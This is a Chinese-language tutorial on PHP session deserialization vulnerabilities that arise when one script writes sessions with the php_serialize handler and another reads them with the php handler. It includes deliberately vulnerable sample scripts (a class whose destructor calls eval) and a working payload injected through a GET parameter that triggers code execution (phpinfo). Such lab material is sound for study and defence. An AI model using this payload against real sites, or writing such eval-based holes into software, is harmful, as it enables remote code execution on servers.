基础知识 #
1.当session_start()被调用时,或者php.ini中的session.auto_start为1,则启用session管理,如果session存在,则使用对应的处理器访问使用在了本地的session文件,否则就新建session文件。
2.php有三种SESSION处理器,处理器负责读写session文件,有三种处理器对应的三种存储格式。如下
//三种处理器
1.php处理器
存储格式:键名1|序列化$_SESSION[键名1]的值;键名2|序列化$_SESSION[键名2]的值;...
2.php_serialize处理器(php>=5.5.4)
存储格式:序列化$_SESSION后的值
3.php_binary处理器
存储格式:键名1长度对应的ASCII字符+键名1+$_SESSION[键名1]的序列化值;键名2长度对应的ASCII字符+键名2+$_SESSION[键名2]的序列化值;...
因为存储的时候序列化了,所以读取的时候会反序列化
3.ini_set函数:https://www.php.net/manual/zh/function.ini-set.php
Session反序列化漏洞的成因 #
session反序列化漏洞是在读取本地session的时候处理器选择错误引起的漏洞。
漏洞复现 #
这里用橙子科技工作室提供的代码。
save.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['ben'] = $_GET['a'];
?>
vul.php
<?php
highlight_file(__FILE__);
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class D{
var $a;
function __destruct(){
eval($this->a);
}
}
?>
需要先访问save.php以php_serialize处理器来保存session文件,然后再访问vul.php用php处理器来读取session文件。
先根据vul提供的class来构造反序列化需要用的序列化内容
<?php
class D{
var $a="phpinfo();";
function __destruct(){
eval($this->a);
}
}
echo serialize(new D());
?>
输出内容是
O:1:"D":1:{s:1:"a";s:10:"phpinfo();";}
然后构造a的值
|O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}
访问
save.php?a= |O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}
然后再访问vul.php会发现已经出现phpinfo了
解释 #
可以看到成功触发了。为什么呢?
可以查看服务器上的session文件
因为存储的时候使用php_serialize处理器,
$_SESSION[‘ben’] = $_GET[‘a’];
其中ben的值是传入的a字符串:
|O:1:“D”:1:{s:1:“a”;s:10:“phpinfo();”;}
然后vul.php则是用php处理器来读取,
php处理器是以(键名|序列化$_SESSION[键名]的值)来存储的
所以会把|之前的值当键名,把|之后的当键值。
然后对键值进行反序列化操作,从而利用漏洞。